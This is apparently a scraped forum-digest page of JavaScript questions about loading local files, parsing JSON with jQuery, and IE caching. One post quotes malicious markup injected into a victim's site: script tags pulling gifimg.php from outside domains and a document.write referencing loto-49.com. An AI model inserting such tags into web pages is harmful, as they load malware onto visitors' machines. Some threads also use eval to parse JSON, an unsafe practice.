How can Iload and parse a json file saved in our remote serverfrom my local machine? I can load and parse the copy I saved in my local machine, but I can notwork with the remote copy. The following is the code I tested:
<
html>
<
[code].....
I need to be able to search through an xml located on my local machine with an html page. Here's the thing: this whole system (html files, xml file) will always be on my local machine. Because it's a class project it won't be on a server. So here's the scenario: I navigate to where my files are located (say C:) and I double click my index.html page and this page opens in my browser and from this page I need to be able to search my xml file which is at the same location. I've tried xmlhttprequest and it won't open the xml file I'm guessing because I don't need an http request.
Here's what I have so far:
if (window.XMLHttpRequest) {
xmlhttp=new XMLHttpRequest();
} else {
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
} xmlhttp.open("GET","C:MovieDB.xml",false);
xmlhttp.send(); xmlDoc=xmlhttp.responseXML;
function searchDB() {
if(!xmlDoc){
alert("error")
} var keyword = $('#txtBox').val();
var searchVal = $('#basicCategory :selected').text();
var allitems = xmlDoc.getElementsByTagName("Movie");
for(var i=0;i<allitems.length;i++){
alert(allitems[i].getElementsByTagName(searchVal[0].
childNodes[0].nodeValue);
} }
The code doesn't make it past the xmlhttp.send() line.
Here is what I'm trying to do but the problem is "source.html" is not on a server somewhere. I am running everything locally. $('#container').load(source.html #sourceContent) Is there a way to do this exact thing but with a local file?
View 3 Replies View RelatedI have a .js file, we want to make it to load a html file right next to it, both files are on client system. I couldn't find any such examples and some posts talked about JavaScript security issues, I wonder if it is related to what I want.
Someone said .js file is not really JaveScript file, though Microsoft named it 'JavaScript'.
note that I am trying to "call" .html file from the .js file, not embed html code in .js.
When I load a JSON file locally, I receive the following error in my Firefox console: "not well-formed / file:///<fileLocation>/data.json / Line: 1 / {}". The loading otherwise seems successful, as I can interact with the loaded JavaScript object. For this example, I'm loading an empty JSON object, but this error occurs with non-empty JSON objects, too.
My JavaScript code embedded in HTML:
<script type="text/javascript" src="jquery-1.4.1.js"></script>
<script type="text/javascript">
$.getJSON("data.json", function(jsonData, textStatus)
[code]....
I'm using Firefox 3.6 and jQuery 1.4.1. This error does not occur in IE 7.
I have a js file embedded into additional files to make up the extension.
I want to run a single executable file, but I can't figure out what the relative path is. The path must remain relative, because the user will set the directory.
The js code like so:
runthefile: function(){
const path = "calc.exe"
var file = Components
.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile)
file.initWithPath(path)
file.launch()
}
However, it doesn't seem to run calc.exe no matter where I put it. Code:
I've written a slideshow script which loads and displays a series of >1Mb images from the local machine. Each image is loaded twice - once to get the dimensions and once to be shown on the screen, so it can be dynamically resized by another script.
This script runs without problems in Opera and Internet Explorer, no matter how many times it's executed. However, after it runs a couple dozen times in Firefox, the width and height attributes of the image start returning 0. It seems like the loading has slowed down considerably and the script starts skipping to the next line without waiting for it to finish.
I've tried adding the line while(!image.complete), which works, but invariably causes Firefox to display a message saying the script is causing Firefox to run slowly, and asking if I want to abort.
Is there a way I can flush earlier images from the cache, or somehow free up resources so the script will continue to run as quickly as it does at the start?
On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>
[code]....
is it possible to load xml from local file system using ActiveXObject("Microsoft.XMLDOM") ?
View 1 Replies View RelatedI have a javascript (HTML internal), which fetches and executes a file in another web address... but I do not want it to do that, i want this script to execute is function directly from my local disk (file location).
Here is the script;
<html>
<head></head>
<body>
<div style="WIDTH: 984px; HEIGHT: 443px" >
[Code]....
I'm trying to access data from a .txt file, and parse that data with jQuery. My .txt file is written like this:
&month=November&day=Tuesday&hour=15
If I use jQuery.get() I do see the data but I want to parse through that data so I can get name and value pairs. This is what I used:
<script type="text/javascript">
jQuery.get('http://www.example.com/test.txt', function(data) {
alert(data);
});
I am having difficulty displaying a specific key from a json file. I am trying to parse the following json file using query:
[URL]
I am using this type of function to parse the data:
$.each(json.route,function(i,route){
<!--add a paragraph tag to the results div and enter the speficied key-->
$("#results").append('<p>Result: '+ route +'</p>');
Using this I am able to print all the keys from the route but I am not able to print a specific key.
What I want to do is just get the results for the key "fuelUsed" using this method:
$("#results").append('<p>Result: '+ route.fuelUsed+'</p>');
But I never get back any data that way. Am I not specifying my key correctly?
Supposed that I have a json object but I don't know anything about its keys and values. Is there anyway to print out all the key and value pairs in that object?
View 5 Replies View RelatedI am trying parse a json request.
The json response is
I have tried to console.log the item in a number of ways including: arrayToParse[item] item[1] item[0]
I either get the key of 1,2,3 or undefined. How do I get the values in this scenario?
I can't get JSON.parse to work. For example with:
JSON.parse('{a:3}')
I get: "SyntaxError: JSON.parse"
I have put up an example at:
[URL]
I'm using jQuery $.ajax or $.getJSON on document.ready to access data from the server through coldfusion remote cfc files.
My url looks something like this for the main page [url]
When i go to a new page i.e. [url]
The ajax functions are called but are not collecting new data (only in IE). IE caches the response and wont give me a new one unless I refresh the page, which I don't want to do.
Here's an example of a function I call. I've also tried $.getJSON with no success.
function getGrains() {
I've looked into ways to make sure IE wont cache files. Some of the popular suggestions are:
Add a random parameter to the url: I've done this:
Change get requests to posts: Done (see function)
Also, jQuery's cache:false doesn't work.
I'm not sure I can use the meta tags or header cache-control functions because it's not caching my html page, it just caches these HTTPRequests from within my javascript file, and they're not loading html, just json objects.
How can I adequately parse a JSON response I'm getting from the server, which happens to be an array?
The array I'm getting back is actually this one:
[{"photo":{"created_at":"2011-02-26T18:40:00Z","id":5,"name":"Natalie_Portman.jpg","updated_at":"2011-02-26T18:40:00Z"}},{"photo":{"created_at":"2011-02-26T18:40:14Z","id":6,"name":"scarlett-johansson-.jpg","updated_at":"2011-02-26T18:40:14Z"}}]
I believe this one is valid JSON, but my attempts to parse it are always failing when I do it like this:
success:
function(data, textStatus, xhr)
{
var photos = jQuery.parseJSON(data);
alert(photos);
},
The above code displays 'null', and the documentation says a null occurs when the JSON isn't valid. so, what's going on ?
I need to know the codes to parse as well as access the values in the parsed response.
I am submitting a form via AJAX. The form may either return HTML (when there are input errors) or JSON (successful response). If during request I specify "dataType: 'json'" then HTML doesn't get thru correctly, if I don't then JSON is displayed as plain text. I am sending the "application/json" header back correctly. I don't understand why doesn't jQuery just pick that up and parse it as JSON? Is there an option? Is there something I can do to make this work?
View 1 Replies View RelatedJSON.parse: unexpected end of dataat line var data = JSON.parse(json);Is the syntax correct?the code used is:For the code below i am getting this error :
$(document).ready(function(){ $("#button1").click(function(){
$.post(
'script_1.php',
[code]....
I have a wordpress site with dropdown menus that currently are working with jQuery, now the issue is when trying to dynamically update the menus and parsing it with json.parse. For some reason I am not getting any data back of the following code (if I try to alert (data) I just get a blank box).
function waitGoUpdate()
{
var $jQ = jQuery.noConflict ();
$jQ.ajax ({
[Code].....
and just print out the function, than I would get the data on screen. now if I was to access my php file directly than that fill will output an error due to missing plugins.. I guess that is just how wordpress sorta work.. but again I do get the info that i need by just printing out the function. Do anyone knows a work around for this? I am kinda pulling my hairs out.
I'm trying to parse a Json string received by $.getJSON(). I can receive the string but firebug gives me an "invalid label" error. I think it is because the string is an hash array with a number as first label, but I'm not sure. This is the string:
{"15":{"id":15,"x":0.4589937586135409,"y":
0.8324914620560137,"z":-0.9435707004102728,"rawData":"1256204002860 13
-442866538 18392602 647462767 314 1777206957 -1664784174 "}}
and this is the non-working code:
[Code]....
Why won't this work?
Nothing pops up for the alert.
<script type="text/javascript">
I have set up a script on my page which automatically reads the files in a specific directory on the server and displays them in a nice file tree on my website so users can download the files. Here is the script: http://abeautifulsite.net/blog/2008/...ery-file-tree/Here is the script in action on my website: http://ligonier-in.org/onlineservice...ents_test.htmlThe plugin is working fine as far as finding the files and displaying them. However, the root folder where the files are stored is not the directory you would go to to access the actual files.
Long story short, the script is trying to download the file at
http://ligonier-in.org/home/cityofli...pplication.pdf
I need to 'parse' that url and force it to download the file from:
[code]....
If I switch the w3schools' file with the same local file, it will not work with firefox.Does anybody know why the local file is not displayed correctly?
~/linux/test/jQuery/ajax$ cat main1.html
<html>
<head>
[code]....
Can anyone explain me why you need to add open and close parenthesis to
a JSON text in order to use eval() to parse it?
For example:
var json = "{a: 'abc', b: 'def'}";
var obj1 = eval("(" + json + ")"); //ok!
var obj2 = eval(json); //syntax error!
why are parenthesis necessary?
Why is it necessary to eval or parse JSON data?If it is legal JS, why couldn't I just name the file in the src attribute of a <script> statement?
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